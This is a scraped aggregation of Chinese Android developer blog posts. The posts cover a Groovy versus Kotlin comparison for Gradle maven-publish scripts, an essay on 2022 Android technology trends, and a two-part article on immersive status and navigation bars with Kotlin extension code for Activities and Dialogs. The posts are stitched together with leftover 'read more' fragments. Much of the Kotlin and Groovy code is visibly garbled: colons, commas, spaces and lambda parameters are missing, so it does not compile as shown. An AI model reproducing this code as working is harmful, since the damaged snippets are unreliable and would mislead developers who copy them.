如果 kotlin 是 better java, 那么 groovy 应该是 more than java,它的定位更加偏向脚本一些,更加动态化(从它反编译的字节码可见一斑),上手曲线较高,但一个人精通这个语言,并且独立维护一个项目,其实 groovy 的开发效率并不会比 kotlin 和 java 差,感受比较深切的是 maven publish 的例子,看看插件中 groovy 和 kotlin 的写法上的不同。

// Groovy
def mavenSettings = {
           groupId 'org.gradle.sample'
           artifactId 'library'
           version '1.1'
      }
def repSettings = {
           repositories {
               maven {
                   url = mavenUrl
              }
          }
      }

afterEvaluate {
 publishing {
     publications {
         maven(MavenPublication) {
             ConfigureUtil.configure(mavenSettings, it)
             from components.java
        }
    }
    ConfigureUtil.configure(repoSettings, it)
}
 def publication = publishing.publications.'maven' as MavenPublication
 publication.pom.withXml {
    // inject msg
}
}
// Kotlin
// Codes are borrowed from (sonatype-publish-plugin)[https://github.com/johnsonlee/sonatype-publish-plugin/]
fun Project.publishing(
       config: PublishingExtension.() -> Unit
) = extensions.configure(PublishingExtension::class.java, config)
val Project.publishing: PublishingExtension
   get() = extensions.getByType(PublishingExtension::class.java)

val mavenClosure = closureOf<MavenPublication> {
  groupId = "org.gradle.sample"
  artifactId = "library"
  version = "1.1"
}
val repClosure = closureOf<PublishingExtension> {
   repositories {
       maven {
           url = mavenUrl
      }
  }
}
afterEvaluate {
   publishing {
       publications {
           create<MavenPublication>("maven") {
              ConfigureUtil.configure(mavenClosure, this)
               from(components["java"])
          }
      }
      ConfigureUtil.configure(repoClosure, this)
  }
 
   val publication = publishing.publications["maven"] as MavenPublication
   publication.pom.withXml {
            // inject msg
  }
}

我觉得吧,如果像我们大佬擅长 groovy 的话,而且是一个人开发的商业项目,插件里的确写 groovy 会更快,更简洁,那为什么不呢?这对他来说是种善,语言没有优劣,动态性和静态语言优劣我不想较高下,这因人而异。


我选择 kotlin 是俺不擅长写 groovy 啊,我写了几个月 groovy 每次改动插件发布后再应用第一次都会有语法错误,调试的头皮发麻,所以最后搞了个折衷方案,新代码用 kotlin, 旧代码用 groovy 继续写。而且参考了 KOGE@2BAB 文档,发现咦,gradle 正面回应过 groovy 与 kotlin 之争. "Prefer using a statically-typed language to implement a plugin"@Gradle。嗯, 我还是继续写 Kotlin 吧。

作者:小灵通

来源:juejin.cn/post/7084949825866694686

收起阅读 »

浅谈2022Android端技术趋势,什么值得学?

引言回头去看 2021,过的似乎那么快,不敢相信我已经从事 Android 开发两年了,不免生出一些感叹。那么 2022 ,Android 端会有什么技术趋势吗?或者什么 [新] 技术值得去学? 又或者对我来说,现在什么 [值得] 去学?本文将通过我个人的技术...
继续阅读 »

引言

回头去看 2021,过的似乎那么快,不敢相信我已经从事 Android 开发两年了,不免生出一些感叹。

那么 2022Android 端会有什么技术趋势吗?或者什么 [新] 技术值得去学? 又或者对我来说,现在什么 [值得] 去学?

本文将通过我个人的技术学习经历去分析我们应该怎么选用某个技术,希望对大家能有所帮助。

回头看

让我们把时间切回过去,最近几年我都给自己加了哪些技术点?

2019-2020

  • Kotlin,协程

  • MVPHiltMVVM ,JetPack 相关

  • 热修复

  • Flutter 浅试

  • 自动化、持续集成相关

2021-2022

  • JetPack Compose

  • Epoxy+Mvrx , MVI

看完这个表,是不是惊叹于,我靠,你小子 2021 等于啥都没学啊?

说来尴尬,当我自己从博客记录从翻阅时,也有这份感叹,对于 [新技术] ,真的好像没怎么看了,所以在年终总结上,我发出了这样一句感叹,今年用的组件都是以前学过的,只不过忘了,又翻出笔记看了一眼

但仔细又想了下,2021新技术真的好像没有多少,对于 Android 端而言,Compose 算一击重拳,而 MVI 又是最近因为 Compose 被正式启用为 Google 推荐 [新] 架构标准,其他的好像真的没有。

Google今年推过的技术

如果我们只将技术定义为 [技术组件] ,那就可能太狭义,所以那就细细列举一下今年 Google 推过的那些技术文章:

如何找到呢,那么 Android开发者 公众号就是最优先的。所以我们就通过其发布过的文章,大致统计一下,Android 官方给我们的建议及 [开发指南] ,我排了一个表,大致如下:

  1. JetPack

    • NavigationHiltWorkManagerActivityResult

    • ComposeWear OS-ComposeWear Os-卡片库

    • WindowsManagerRoomPaging3.0Glance - Alpha

  2. 折叠屏,大屏适配

    推荐了很多次,Android12 上也推了几次

  3. Kotlin

    Flow、协程

  4. Android12

    行为变更、隐私安全更新、新的 小组件widget

  5. 安全方面

    数据加密与生物特征、App 合规

  6. Android 启动相关

    App Startup、延迟初始化

  7. CameraX

  8. Material Desgin

按照推荐频率,我将它们分别列在了上面,总共上面这几大类。不难发现,JetPack 仍然是 Android 官方 首推 ,然后就是 折叠屏以及不同屏幕 的适配,接着就是 KotlinAndroid12 ,当然今年因为 合规 方面的各种问题,Android团队 对于安全方面也提到了,最后就是和性能以及 UI 相关的一些推荐。

趋势预测

折叠屏与大屏适配

严格上这个其实不算是一项技术,而是一项适配工作。但是一直以来,对于大屏的适配,Android 上基本做的很少。自从三星推出第一个折叠屏之后,这个适配就开始被重视起来了。

厂商方面,目前 oppo,华为小米 也都纷纷推出自己的折叠屏手机,以满足先行市场。

官方支持度 方面,如果看过今年的 IO 大会,就会发现,折叠屏适配已经被专门放到了一个栏目,而且专门讲解,官方公众号也已经推了多次。

所以我们姑且可以认为,折叠屏适配应该是2022的一个趋势,但目前对于折叠屏的适配的主流App其实还没有多少,更多的也都是厂商做了相关适配,app开发方面专门针对改动做的其实并不多。

所以可见在2022随着折叠屏手机机型的愈来愈多,某些关键业务的全面适配工作也将随之展开,而不是现在仅仅只是在折叠的时候,同时存在两个APP,或者某个页面展示在另一个屏幕。

技术支持方面,Android团队 为此专门准备了一个新的 JetPack 组件,JetPack WindowManager,其主要功能就是监听屏幕的折叠状态,以及当前相应的屏幕信息,目前主要以可折叠设备为目标,不过未来将支持更多屏幕类型及窗口功能,现在处于 rc 版本,当然今年也肯定会推出稳定版。

JetPack Compose

Compose 自从发布第一个稳定版本后,在今年的 IO 大会上也有专门的分区去讲。

其是用于构建 原生Android 的一个 工具包 ,以 声明式 写法,搭配 Kotlin,可大大简化并加快原生的 UI 开发工作。

目前 Compose 已经对如下几个方面做了支持:

  • Android UI 支持

  • Wear 可穿戴设备支持

  • Android Widget 小组件支持

非官方方面,jetbrains 也对桌面版,以及网页做了相关支持,具体见:Compose Multiplatform

桌面版 目前已经发布了正式版本1.0.1

得益于 Compose 的声明式开发,使得其做折叠屏适配也是较为简单。在与原生 View 的交互上,Compose 支持的也非常不错。

所以我们可以认为,2022,如果从事原生开发,那么 Compose 势必是一个比较适合你学习的新技术,它的上手难度并不大,只要你熟悉Kotlin ,也就能很快上手,只不过目前其在ide上的 预览 功能比较慢,还有待后续优化。

Kotlin

协程

协程其实在前几年已经被广泛使用,我第一次使用协程是在2020年,也见证了其逐渐替代 AsyncTask 及相关线程池工具的过程。

Flow

Flow 今年来被 Android团队 推荐了多次,其主要以协程为基础构建,某种意义上而言,我个人觉得其似乎有点替代 RxJava 的意思。得益于 Kotlin 的强大与简洁,Flow 今年出现最多的场景反而是 Android团队 推荐其用于替代 LiveData ,以增强部分情况下的使用。

当然 Flow 不止于此,如果你正在使用 Kotlin ,并且协程用的也比较多,那么 Flow 肯定是绕不开的一个话题。

所以我们可以预估,在2022,协程Flow 依然值得学习,并且也是能很快感受到效益的组件。

但是相比协程,Flow 其实还有很长一段时间要走,毕竟常见开发场景里,LiveData 就可以满足,而 Flow 却显得不是那么必需。

ASM

这项技术其实并不新奇,但是因为其本身需要的前备知识挺多,比如 Android打包流程APK打包流程字节码自定义 Gradle 插件Transform API ,导致细分为了好多领域,大佬们依然在热追,而像我这样的菜鸟其实还是一脸吃瓜。

那为什么我认为其是一个技术趋势呢?

主要是 合规 带来的影响,大的环境下,可能以后打包时,我们都会监测相应的权限声明与隐私调用,否则如何确保后续的改动不会导致违规呢?但如何确定某个 sdk 没有调用?而且我们也不可能每次都让相关第三方去检测。

所以,维护一个相应的监测组件,是大环境下的必需。而实现上述插件最好的方式就是 Hook 或者 ASM ,所以如果你目前阶段比较高,ASM 依然是你避不开的技术选题。

什么[值得]你去学?

这个副标题其实有一点夸张,但仔细想想,其实就是这样,我们应该明白,到底什么是更适合自己当下学习的。

以我个人为例,大家可以从中体会一下,自己应该关注哪些技术,当然,我个人的仅只能作为和我一样的同学做参考:

就像最开始说的,其实这些新组件,很多我都已经用过或者记录过,在最开始的两年,我一直在追寻组件越新越好的道路上,所以每当新出一个组件,总会在项目中进行实践,去尝试。

但是我也逐渐发现了一些问题,当经历了[使用工具]的这个阶段,当我要去解决某些特定情况下问题时,突然发现,自己似乎什么都不会,或者就只会基础,比如:

  1. 在集成某些 gradle 插件时,如果要满足 CI 下的一些便捷,要去写一些 Task 去满足动态集成,而自己对 Gradle 仅仅处于Android常见使用阶段,这时候就需要去学相关;

  2. 我自己也会维护一些组件库,当使用的同学逐渐增多,大家提到的问题也越来越多,那如何解决这些问题,如何优雅的兼容,组件的组合方式,如何运用合适的设计模式去优化,这些又是我需要考虑的问题;

  3. 当我们开始对音视频组件进行相关优化时,此时又出现了很多方向,最终的方案选型也是需要你再次进入一个未知领域,从0到0.1;

新技术会让我当前编码变得开心,能节省我很多事,但其不能解决一些非编码或者复杂问题,而这些问题,是每个同学前进道路上也都会遇到的,所以我们常常会看到,做 Android 真难,啥都要会。

总体对我而言,今年会主要将一些精力放在如下几个方面:

  • Gradle 相关

  • 设计模式在三方库中的运用

  • Android 相关 源码 理解

总结

技术在不断变化与迭代,有些技术我们会发现为什么好几年了,今年似乎特别受人关注,其实也是因为在某种环境下,其的作用逐渐显现。而这些技术正是成为一名优秀的 Android工程师 所必须具备的基础技能。

我们在追寻 [新] 技术的,享受快捷的同时,也别忘了 [停] 下来看看身边风景。

作者:Petterp
来源:juejin.cn/post/7053831595576426504

收起阅读 »

Android 系统 Bar 沉浸式完美兼容方案(下)

续 Android 系统 Bar 沉浸式完美兼容方案(上)完整代码@file:Suppress("DEPRECATION")package com.bytedance.heycan.systembar.activityimport ...
继续阅读 »

续 Android 系统 Bar 沉浸式完美兼容方案(上)

完整代码

@file:Suppress("DEPRECATION")

package com.bytedance.heycan.systembar.activity

import android.app.Activity
import android.graphics.Color
import android.os.Build
import android.util.Size
import android.view.Gravity
import android.view.View
import android.view.ViewGroup
import android.view.WindowManager
import android.widget.FrameLayout
import androidx.fragment.app.FragmentActivity
import androidx.lifecycle.LiveData
import androidx.lifecycle.MutableLiveData
import com.bytedance.heycan.systembar.R

/**
* Created by dengchunguo on 2021/4/25
*/
fun Activity.setLightStatusBar(isLightingColorBoolean) {
   val window = this.window
   if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
       if (isLightingColor) {
           window.decorView.systemUiVisibility =
               View.SYSTEM_UI_FLAG_LAYOUT_STABLE or View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR
      } else {
           window.decorView.systemUiVisibility = View.SYSTEM_UI_FLAG_LAYOUT_STABLE
      }
  }
}

fun Activity.setLightNavigationBar(isLightingColorBoolean) {
   val window = this.window
   if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M && isLightingColor) {
       window.decorView.systemUiVisibility =
           window.decorView.systemUiVisibility or if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.OView.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR else 0
  }
}

/**
* 必须在Activity的onCreate时调用
*/
fun Activity.immersiveStatusBar() {
   val view = (window.decorView as ViewGroup).getChildAt(0)
   view.addOnLayoutChangeListener { v________ ->
       val lp = view.layoutParams as FrameLayout.LayoutParams
       if (lp.topMargin > 0) {
           lp.topMargin = 0
           v.layoutParams = lp
      }
       if (view.paddingTop > 0) {
           view.setPadding(000view.paddingBottom)
           val content = findViewById<View>(android.R.id.content)
           content.requestLayout()
      }
  }

   val content = findViewById<View>(android.R.id.content)
   content.setPadding(000content.paddingBottom)

   window.decorView.findViewById(R.id.status_bar_view?View(window.context).apply {
       id = R.id.status_bar_view
       val params = FrameLayout.LayoutParams(FrameLayout.LayoutParams.MATCH_PARENTstatusHeight)
       params.gravity = Gravity.TOP
       layoutParams = params
      (window.decorView as ViewGroup).addView(this)

      (window.decorView as ViewGroup).setOnHierarchyChangeListener(object : ViewGroup.OnHierarchyChangeListener {
           override fun onChildViewAdded(parentView?childView?) {
               if (child?.id == android.R.id.statusBarBackground) {
                   child.scaleX = 0f
              }
          }

           override fun onChildViewRemoved(parentView?childView?) {
          }
      })
  }
   setStatusBarColor(Color.TRANSPARENT)
}

/**
* 必须在Activity的onCreate时调用
*/
fun Activity.immersiveNavigationBar(callback: (() -> Unit)? = null) {
   val view = (window.decorView as ViewGroup).getChildAt(0)
   view.addOnLayoutChangeListener { v________ ->
       val lp = view.layoutParams as FrameLayout.LayoutParams
       if (lp.bottomMargin > 0) {
           lp.bottomMargin = 0
           v.layoutParams = lp
      }
       if (view.paddingBottom > 0) {
           view.setPadding(0view.paddingTop00)
           val content = findViewById<View>(android.R.id.content)
           content.requestLayout()
      }
  }

   val content = findViewById<View>(android.R.id.content)
   content.setPadding(0content.paddingTop0-1)

   val heightLiveData = MutableLiveData<Int>()
   heightLiveData.value = 0
   window.decorView.setTag(R.id.navigation_height_live_dataheightLiveData)
   callback?.invoke()

   window.decorView.findViewById(R.id.navigation_bar_view?View(window.context).apply {
       id = R.id.navigation_bar_view
       val params = FrameLayout.LayoutParams(FrameLayout.LayoutParams.MATCH_PARENTheightLiveData.value ?0)
       params.gravity = Gravity.BOTTOM
       layoutParams = params
      (window.decorView as ViewGroup).addView(this)

       if (this@immersiveNavigationBar is FragmentActivity) {
           heightLiveData.observe(this@immersiveNavigationBar) {
               val lp = layoutParams
               lp.height = heightLiveData.value ?0
               layoutParams = lp
          }
      }

      (window.decorView as ViewGroup).setOnHierarchyChangeListener(object : ViewGroup.OnHierarchyChangeListener {
           override fun onChildViewAdded(parentView?childView?) {
               if (child?.id == android.R.id.navigationBarBackground) {
                   child.scaleX = 0f
                   bringToFront()

                   child.addOnLayoutChangeListener { __top_bottom____ ->
                       heightLiveData.value = bottom - top
                  }
              } else if (child?.id == android.R.id.statusBarBackground) {
                   child.scaleX = 0f
              }
          }

           override fun onChildViewRemoved(parentView?childView?) {
          }
      })
  }
   setNavigationBarColor(Color.TRANSPARENT)
}

/**
* 当设置了immersiveStatusBar时,如需使用状态栏,可调佣该函数
*/
fun Activity.fitStatusBar(fitBoolean) {
   val content = findViewById<View>(android.R.id.content)
   if (fit) {
       content.setPadding(0statusHeight0content.paddingBottom)
  } else {
       content.setPadding(000content.paddingBottom)
  }
}

fun Activity.fitNavigationBar(fitBoolean) {
   val content = findViewById<View>(android.R.id.content)
   if (fit) {
       content.setPadding(0content.paddingTop0navigationBarHeightLiveData.value ?0)
  } else {
       content.setPadding(0content.paddingTop0-1)
  }
   if (this is FragmentActivity) {
       navigationBarHeightLiveData.observe(this) {
           if (content.paddingBottom != -1) {
               content.setPadding(0content.paddingTop0it)
          }
      }
  }
}

val Activity.isImmersiveNavigationBarBoolean
   get() = window.attributes.flags and WindowManager.LayoutParams.FLAG_TRANSLUCENT_NAVIGATION != 0

val Activity.statusHeightInt
   get() {
       val resourceId =
           resources.getIdentifier("status_bar_height""dimen""android")
       if (resourceId > 0) {
           return resources.getDimensionPixelSize(resourceId)
      }
       return 0
  }

val Activity.navigationHeightInt
   get() {
       return navigationBarHeightLiveData.value ?0
  }

val Activity.screenSizeSize
   get() {
       return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
           Size(windowManager.currentWindowMetrics.bounds.width(), windowManager.currentWindowMetrics.bounds.height())
      } else {
           Size(windowManager.defaultDisplay.widthwindowManager.defaultDisplay.height)
      }
  }

fun Activity.setStatusBarColor(colorInt) {
   val statusBarView = window.decorView.findViewById<View?>(R.id.status_bar_view)
   if (color == 0 && Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
       statusBarView?.setBackgroundColor(STATUS_BAR_MASK_COLOR)
  } else {
       statusBarView?.setBackgroundColor(color)
  }
}

fun Activity.setNavigationBarColor(colorInt) {
   val navigationBarView = window.decorView.findViewById<View?>(R.id.navigation_bar_view)
   if (color == 0 && Build.VERSION.SDK_INT <= Build.VERSION_CODES.M) {
       navigationBarView?.setBackgroundColor(STATUS_BAR_MASK_COLOR)
  } else {
       navigationBarView?.setBackgroundColor(color)
  }
}

@Suppress("UNCHECKED_CAST")
val Activity.navigationBarHeightLiveDataLiveData<Int>
   get() {
       var liveData = window.decorView.getTag(R.id.navigation_height_live_dataas? LiveData<Int>
       if (liveData == null) {
           liveData = MutableLiveData()
           window.decorView.setTag(R.id.navigation_height_live_dataliveData)
      }
       return liveData
  }

val Activity.screenWidthInt get() = screenSize.width

val Activity.screenHeightInt get() = screenSize.height

private const val STATUS_BAR_MASK_COLOR = 0x7F000000

扩展

对话框适配

有时候需要通过 Dialog 来显示一个提示对话框、loading 对话框等,当显示一个对话框时,即使设置了 activity 为深色状态栏和导航栏文字颜色,这时候状态栏和导航栏的文字颜色又变成白色,如下所示:


这是因为对 activity 设置的状态栏和导航栏颜色是作用 于 activity 的 window,而 dialog 和 activity 不是同一个 window,因此 dialog 也需要单独设置。

完整代码

@file:SuppressDEPRECATION )

package com.bytedance.heycan.systembar.dialog

import android.app.Dialog
import android.os.Build
import android.view.View
import android.view.ViewGroup

/**
* Created by dengchunguo on 2021/4/25
*/
fun Dialog.setLightStatusBar(isLightingColorBoolean) {
   val window = this.window ?return
   if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
       if (isLightingColor) {
           window.decorView.systemUiVisibility =
               View.SYSTEM_UI_FLAG_LAYOUT_STABLE or View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR
      } else {
           window.decorView.systemUiVisibility = View.SYSTEM_UI_FLAG_LAYOUT_STABLE
      }
  }
}

fun Dialog.setLightNavigationBar(isLightingColorBoolean) {
   val window = this.window ?return
   if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M && isLightingColor) {
       window.decorView.systemUiVisibility =
           window.decorView.systemUiVisibility or if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.OView.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR else 0
  }
}

fun Dialog.immersiveStatusBar() {
   val window = this.window ?return
  (window.decorView as ViewGroup).setOnHierarchyChangeListener(object : ViewGroup.OnHierarchyChangeListener {
       override fun onChildViewAdded(parentView?childView?) {
           if (child?.id == android.R.id.statusBarBackground) {
               child.scaleX = 0f
          }
      }

       override fun onChildViewRemoved(parentView?childView?) {
      }
  })
}

fun Dialog.immersiveNavigationBar() {
   val window = this.window ?return
  (window.decorView as ViewGroup).setOnHierarchyChangeListener(object : ViewGroup.OnHierarchyChangeListener {
       override fun onChildViewAdded(parentView?childView?) {
           if (child?.id == android.R.id.navigationBarBackground) {
               child.scaleX = 0f
          } else if (child?.id == android.R.id.statusBarBackground) {
               child.scaleX = 0f
          }
      }

       override fun onChildViewRemoved(parentView?childView?) {
      }
  })
}

效果如下:


快速使用

Activity 沉浸式

immersiveStatusBar() // 沉浸式状态栏
immersiveNavigationBar() // 沉浸式导航栏

setLightStatusBar(true// 设置浅色状态栏背景(文字为深色)
setLightNavigationBar(true// 设置浅色导航栏背景(文字为深色)

setStatusBarColor(color// 设置状态栏背景色
setNavigationBarColor(color// 设置导航栏背景色

navigationBarHeightLiveData.observe(this) {
// 监听导航栏高度变化
}

Dialog 沉浸式

val dialog = Dialog(thisR.style.Heycan_SampleDialog)
dialog.setContentView(R.layout.dialog_loading)
dialog.immersiveStatusBar()
dialog.immersiveNavigationBar()
dialog.setLightStatusBar(true)
dialog.setLightNavigationBar(true)
dialog.show()

Demo 效果


可实现与 iOS 类似的页面沉浸式导航条效果:


作者:字节跳动技术团队
来源:juejin.cn/post/7075578574362640421

收起阅读 »

Android 系统 Bar 沉浸式完美兼容方案(上)

自 Android 5.0 版本,Android 带来了沉浸式系统 bar(状态栏和导航栏),Android 的视觉效果进一步提高,各大 app 厂商也在大多数场景上使用沉浸式效果。但由于 Android 碎片化比较严重,每个版本的系统 bar 效果可能会有所...
继续阅读 »

引言

自 Android 5.0 版本,Android 带来了沉浸式系统 bar(状态栏和导航栏),Android 的视觉效果进一步提高,各大 app 厂商也在大多数场景上使用沉浸式效果。但由于 Android 碎片化比较严重,每个版本的系统 bar 效果可能会有所差异,导致开发者往往需要进行兼容适配。为了简化系统 bar 沉浸式的使用,以及统一机型、版本差异所造成的效果差异,本文将介绍系统 bar 的组成以及沉浸式适配方案。

背景

问题一:沉浸式下无法设置背景色

对于大于等于 Android 5.0 版本的系统,在 Activity 的 onCreate 时,通过给 window 设置属性:

window.addFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS)
window.addFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_NAVIGATION)

即可开启沉浸式系统 bar,效果如下:


Android 5.0 沉浸式状态栏


Android 5.0 沉浸式导航栏

但是设置沉浸式之后,原来通过 window.statusBarColorwindow.statusBarColor 设置的颜色也不可用,也就是说不支持自定义半透明系统 bar 的颜色。

问题二:无法全透明导航栏

系统默认的状态栏和导航栏都有一个半透明的蒙层,虽然不支持设置颜色,但通过设置以下代码,可让状态栏变为全透明:

window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS)
window.decorView.systemUiVisibility = (View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
      or View.SYSTEM_UI_FLAG_LAYOUT_STABLE)
window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS)
window.statusBarColor = Color.TRANSPARENT

效果如下:


Android 10.0 沉浸式全透明状态栏

通过类似的方式尝试将导航栏设置为全透明:

window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_NAVIGATION)
window.decorView.systemUiVisibility = (View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
      or View.SYSTEM_UI_FLAG_LAYOUT_STABLE or View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION)
window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS)
window.navigationBarColor = Color.TRANSPARENT

但发现导航栏半透明背景依然无法去掉:


问题三:亮色系统 bar 版本差异

对于大于等于 Android 6.0 版本的系统,如果背景是浅色的,可通过设置状态栏和导航栏文字颜色为深色,也就是导航栏和状态栏为浅色(只有 Android 8.0 及以上才支持导航栏文字颜色修改):

window.decorView.systemUiVisibility =
  View.SYSTEM_UI_FLAG_LAYOUT_STABLE or View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR

window.decorView.systemUiVisibility =
  window.decorView.systemUiVisibility or if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR else 0

效果如下:


Android 8.0 亮色状态栏


Android 8.0 亮色导航栏

但是在亮色系统 bar 基础上开启沉浸式后,在 8.0 至 9.0 系统中,导航栏深色导航 icon 不生效,而 10.0 以上版本能显示深色导航 icon:


Android 8.0 亮色沉浸式亮色导航栏


Android 10.0 亮色沉浸式亮色导航栏

问题分析

问题一:沉浸式下无法设置背景色

查看源码发现设置状态栏和导航栏背景颜色时,是不能为沉浸式的:


问题二:无法全透明导航栏

当设置导航栏为透明色(Color.TRANSPARENT)时,导航栏会变成半透明,当设置其他颜色,则是正常的,例如设置颜色为 0x700F7FFF,显示效果如下:


Android 10.0 沉浸式导航栏

为什么会出现这个情况呢,通过调试进入源码,发现 activity 的 onApplyThemeResource 方法中有一个逻辑:

// Get the primary color and update the TaskDescription for this activity
TypedArray a = theme.obtainStyledAttributes(
      com.android.internal.R.styleable.ActivityTaskDescription);
if (mTaskDescription.getPrimaryColor() == 0) {
  int colorPrimary = a.getColor(
          com.android.internal.R.styleable.ActivityTaskDescription_colorPrimary, 0);
  if (colorPrimary != 0 && Color.alpha(colorPrimary) == 0xFF) {
      mTaskDescription.setPrimaryColor(colorPrimary);
  }
}

也就是说如果设置的导航栏颜色为 0(纯透明)时,将会为其修改为内置的颜色:ActivityTaskDescription_colorPrimary,因此就会出现灰色蒙层效果。

问题三:亮色系统 bar 版本差异

通过查看源码发现,与设置状态栏和导航栏背景颜色类似,设置导航栏 icon 颜色也是不能为沉浸式:


解决沉浸式兼容性问题

对于问题二无法全透明导航栏,由上述问题分析中的代码可以看出,当且仅当设置的导航栏颜色为纯透明时(0),才会置换为半透明的蒙层。那么,我们可以将纯透明这种情况修改颜色为 0x01000000,这样也能达到接近纯透明的效果:


对于问题一,难以通过常规方式进行沉浸式下的系统 bar 背景颜色设置。而对于问题三,通过常规方式需要分别对各个版本进行适配,对于国内手机来说,适配难度更大。

为了解决兼容性问题,以及更好的管理状态栏和导航栏,我们是否能自己实现状态栏和导航栏的背景 View 呢?

通过 Layout Inspector 可以看出,导航栏和状态栏本质上也是一个 view:


在 activity 创建的时候,会创建两个 view(navigationBarBackground 和 statusBarBackground),将其加到 decorView 中,从而可以控制状态栏的颜色。那么,是否能把系统的这两个 view 隐藏起来,替换成自定义的 view 呢?

因此,为了提高兼容性,以及更好的管理状态栏和导航栏,我们可以将系统的 navigationBarBackground 和 statusBarBackground 隐藏起来,替换成自定义的 view,而不再通过 FLAG_TRANSLUCENT_STATUSFLAG_TRANSLUCENT_NAVIGATION 来设置。

实现沉浸式状态栏

  1. 添加自定义的状态栏。通过创建一个 view ,让其高度等于状态栏的高度,并将其添加到 decorView 中:

View(window.context).apply {
id = R.id.status_bar_view
  val params = FrameLayout.LayoutParams(FrameLayout.LayoutParams.MATCH_PARENT, statusHeight)
  params.gravity = Gravity.TOP
  layoutParams = params
  (window.decorView as ViewGroup).addView(this)
}
  1. 隐藏系统的状态栏。由于 activity 在 onCreate 时,并没有创建状态栏的 view(statusBarBackground),因此无法直接将其隐藏。这里可以通过对 decorView 添加 OnHierarchyChangeListener 监听来捕获到 statusBarBackground:

(window.decorView as ViewGroup).setOnHierarchyChangeListener(object : ViewGroup.OnHierarchyChangeListener {
   override fun onChildViewAdded(parentView?childView?) {
       if (child?.id == android.R.id.statusBarBackground) {
           child.scaleX = 0f
      }
  }

   override fun onChildViewRemoved(parentView?childView?) {
  }
})

注意:这里将 child 的 scaleX 设为 0 即可将其隐藏起来,那么为什么不能设置 visibilityGONE 呢?这是因为后续在应用主题时(onApplyThemeResource),系统会将 visibility 又重新设置为 VISIBLE

隐藏之后,半透明的状态栏不显示,但是顶部会出现空白:


通过 Layout Inspector 发现,decorView 的第一个元素(内容 view )会存在一个 padding:


因此,可以通过设置 paddingTop 为 0 将其去除:

val view = (window.decorView as ViewGroup).getChildAt(0)
view.addOnLayoutChangeListener { v________ ->
   if (view.paddingTop > 0) {
       view.setPadding(000view.paddingBottom)
       val content = findViewById<View>(android.R.id.content)
       content.requestLayout()
  }
}

注意:这里需要监听 view 的 layout 变化,否则只有一开始设置则后面又被修改了。

实现沉浸式导航栏

导航栏的自定义与状态栏类似,不过会存在一些差异。先创建一个自定义 view 将其添加到 decorView 中,然后把原来系统的 navigationBarBackground 隐藏:

window.decorView.findViewById(R.id.navigation_bar_view?View(window.context).apply {
id = R.id.navigation_bar_view
   val resourceId = resources.getIdentifiernavigation_bar_height ,  dimen ,  android )
   val navigationBarHeight = if (resourceId > 0resources.getDimensionPixelSize(resourceIdelse 0
   val params = FrameLayout.LayoutParams(FrameLayout.LayoutParams.MATCH_PARENTnavigationBarHeight)
   params.gravity = Gravity.BOTTOM
   layoutParams = params
  (window.decorView as ViewGroup).addView(this)

  (window.decorView as ViewGroup).setOnHierarchyChangeListener(object : ViewGroup.OnHierarchyChangeListener {
       override fun onChildViewAdded(parentView?childView?) {
           if (child?.id == android.R.id.navigationBarBackground) {
               child.scaleX = 0f
          } else if (child?.id == android.R.id.statusBarBackground) {
               child.scaleX = 0f
          }
      }

       override fun onChildViewRemoved(parentView?childView?) {
      }
  })
}

注意:这里 onChildViewAdded 方法中,因为只能设置一次 OnHierarchyChangeListener ,需要同时考虑状态栏和导航栏。

通过这个方式,能将导航栏替换为自定义的 view ,但是存在一个问题,由于 navigationBarHeight 是固定的,如果用户切换了导航栏的样式,再回到 app 时,导航栏的高度不会重新调整。为了让导航栏看的清楚,设置其颜色为 0x7F00FF7F:


从图中可以看出,导航栏切换之后高度没有发生变化。为了解决这个问题,需要通过对 navigationBarBackground 设置 OnLayoutChangeListener 来监听导航栏高度的变化,并通过 liveData 关联到 view 中,代码实现如下:

val heightLiveData = MutableLiveData<Int>()
heightLiveData.value = 0
window.decorView.setTag(R.id.navigation_height_live_dataheightLiveData)

val navigationBarView = window.decorView.findViewById(R.id.navigation_bar_view?View(window.context).apply {
   id = R.id.navigation_bar_view
   val params = FrameLayout.LayoutParams(FrameLayout.LayoutParams.MATCH_PARENTheightLiveData.value ?0)
   params.gravity = Gravity.BOTTOM
   layoutParams = params
  (window.decorView as ViewGroup).addView(this)

   if (this@immersiveNavigationBar is FragmentActivity) {
       heightLiveData.observe(this@immersiveNavigationBar) {
           val lp = layoutParams
           lp.height = heightLiveData.value ?0
           layoutParams = lp
      }
  }

  (window.decorView as ViewGroup).setOnHierarchyChangeListener(object : ViewGroup.OnHierarchyChangeListener {
       override fun onChildViewAdded(parentView?childView?) {
           if (child?.id == android.R.id.navigationBarBackground) {
               child.scaleX = 0f

               child.addOnLayoutChangeListener { __top_bottom____ ->
                   heightLiveData.value = bottom - top
              }
          } else if (child?.id == android.R.id.statusBarBackground) {
               child.scaleX = 0f
          }
      }

       override fun onChildViewRemoved(parentView?childView?) {
      }
  })
}

通过上面方式,可以解决切换导航栏样式后自定义的导航栏高度问题:


作者:字节跳动技术团队
来源:juejin.cn/post/7075578574362640421

接 Android系统Bar沉浸式完美兼容方案(下)

收起阅读 »

简易的Android网络图片加载器

